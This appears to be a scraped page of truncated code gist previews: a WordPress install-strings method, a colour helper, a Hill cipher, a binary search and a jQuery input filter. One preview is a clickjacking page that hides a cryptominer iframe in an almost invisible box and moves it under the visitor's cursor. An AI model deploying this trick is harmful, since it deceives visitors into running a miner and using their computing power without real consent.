This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Sets install skin strings for each individual plugin. | |
* | |
* Checks to see if the automatic activation flag is set and uses the | |
* the proper strings accordingly. | |
* | |
* @since 2.2.0 | |
*/ | |
public function add_strings() { | |
if ( 'update' === $this->options['install_type'] ) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<body> | |
<div id="container" style="border:0;margin:0;position:absolute;width:5px;height:5px;overflow:hidden;cursor:pointer;opacity:0.01"> | |
<iframe style="position:absolute;border:0;width:5px;height:100px;top:-85px;cursor:pointer;" src="https://authedmine.com/media/miner.html?key=your_public_key"></iframe> | |
</div> | |
</body> | |
<script> | |
window.onmousemove = function(e) { | |
var container = document.getElementById("container"); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if ( ! function_exists( 'hex_to_rgb' ) ) { | |
function hex_to_rgb( $hex_color, $normal = false, $opacity = 1 ) { | |
$hex_int = hexdec( sanitize_hex_color($hex_color) ); | |
$rgb = array( 'red' => 0xFF & ( $hex_int >> 0x10 ), 'green' => 0xFF & ( $hex_int >> 0x8 ), 'blue' => 0xFF & $hex_int ); | |
if($normal) { | |
$opacity_value = is_numeric($opacity) ? $opacity : 1; | |
$rgb = 'rgba('. implode(',', array_values($rgb)) .','. $opacity_value .')'; | |
} | |
return $rgb; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function hill(string, key) { | |
'use strict'; | |
if(!string || !key && !string.length > 0 || !key.length>0) | |
return; | |
var s = this, | |
w = '', | |
a = ['','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','.',',','?','%','/',':','-','&','7','1'], | |
u = string.split(''), |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function binary_search($list, $item) { | |
$min = 0; | |
$max = count($list)-1; | |
while($min <= $max) { | |
$middle = round(($min+$max)/2); | |
$guess = $list[$middle]; | |
if($guess === $item) { | |
return 'index - ' .$middle . ', value -' . $item; | |
} elseif ($guess > $item) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$("[data-allow-comma]").on("keypress keyup blur",function (event) { | |
$(this).val($(this).val().replace(/[^0-9\.|\,]/g,'')); | |
if(event.which == 44) | |
{ | |
return true; | |
} | |
if ((event.which != 46 || $(this).val().indexOf('.') != -1) && (event.which < 48 || event.which > 57 )) { | |
event.preventDefault(); |
OlderNewer